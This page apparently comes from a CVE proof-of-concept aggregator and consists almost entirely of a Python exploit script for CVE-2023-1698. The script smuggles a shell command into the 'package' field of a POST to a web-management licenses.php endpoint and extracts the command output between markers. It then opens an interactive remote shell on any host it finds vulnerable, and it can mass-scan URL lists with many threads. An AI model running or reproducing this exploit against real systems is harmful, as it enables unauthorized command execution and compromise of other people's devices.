4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import re
import os
import json
import argparse
import warnings
import requests

from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed
from requests.packages.urllib3.exceptions import InsecureRequestWarning

console = Console()
warnings.simplefilter('ignore', InsecureRequestWarning)

def send_request(base_url, command='id'):
    payload = {"package": f";echo -n [; echo -n S];{command}; echo [E];#"}
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
    }

    response = requests.post(
        f"{base_url}/wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php",
        headers=headers,
        data=json.dumps(payload),
        verify=False,
        timeout=5
    )
    return response

def check_vulnerability(url, response, output_file=None, single_url_mode=False, interactive_mode=False):
    formatted_output = response.text.replace('\/', '/')
    pattern = re.compile(r'\[S\](.*?)\[E\]', re.DOTALL)
    match = pattern.search(formatted_output)
        
    if match:
        extracted_content = match.group(1).encode().decode('unicode_escape')
        
        if interactive_mode:
            console.print(f"[bold yellow]\n{extracted_content}[/bold yellow]")
        else:
            console.print(f"[bold red][+] {url} is vulnerable to CVE-2023-1698[/bold red]\n[bold green][-] Extracted Output:[/bold green] [bold yellow]{extracted_content}[/bold yellow]")
            
        if output_file and not single_url_mode:
            with open(output_file, 'a') as file:
                file.write(url + '\n')
        return True

    elif single_url_mode:
        console.print(f"[bold green][+] {url} is not vulnerable to CVE-2023-1698.")
    return False      

def check_url(url, output_file, single_url_mode=False):
    try:
        response = send_request(url)
        if check_vulnerability(url, response, output_file, single_url_mode):
            if single_url_mode:
                session = PromptSession(history=InMemoryHistory())
                while True:
                    try:
                        command = session.prompt(HTML('<ansired><b># </b></ansired>'))
                        if "exit" in command:
                            raise KeyboardInterrupt
                        elif not command:
                            continue
                        elif "clear" in command:
                            if os.name == 'posix':
                                os.system('clear')
                            elif os.name == 'nt':
                                os.system('cls')  
                            continue                
                        if command.lower() in ["exit", "quit"]:
                                break                                    
                        response = send_request(url, command)
                        check_vulnerability(url, response, output_file, single_url_mode=True, interactive_mode=True)
                    except KeyboardInterrupt:
                        console.print("[bold yellow][!] Exiting shell...[/bold yellow]")    
                        return None

    except requests.exceptions.RequestException:
        console.print("[bold red][-] Connection Error") if single_url_mode else None
        return False                     

def main():
    parser = argparse.ArgumentParser(description='CVE-2023-1698 Exploit')
    parser.add_argument('-u', '--url', type=str, help='The base url for the requests', required=False)
    parser.add_argument('-l', '--list', type=str, help='File containing a list of base urls to scan', required=False)
    parser.add_argument('-t', '--threads', type=int, help='Number of threads to use', default=100)
    parser.add_argument('-o', '--output', type=str, help='File to output vulnerable urls')

    args = parser.parse_args()

    if args.list:
        with open(args.list, 'r') as file:
            urls = [line.strip() for line in file]
            with ThreadPoolExecutor(max_workers=args.threads) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar:
                futures = {executor.submit(check_url, url, args.output): url for url in urls}
                for future in as_completed(futures):
                    bar()
    elif args.url:
        check_url(args.url, args.output, single_url_mode=True)
    else:
        console.print("[red]Please provide a url or a file with a list of base urls to scan.[/red]")

if __name__ == "__main__":
    main()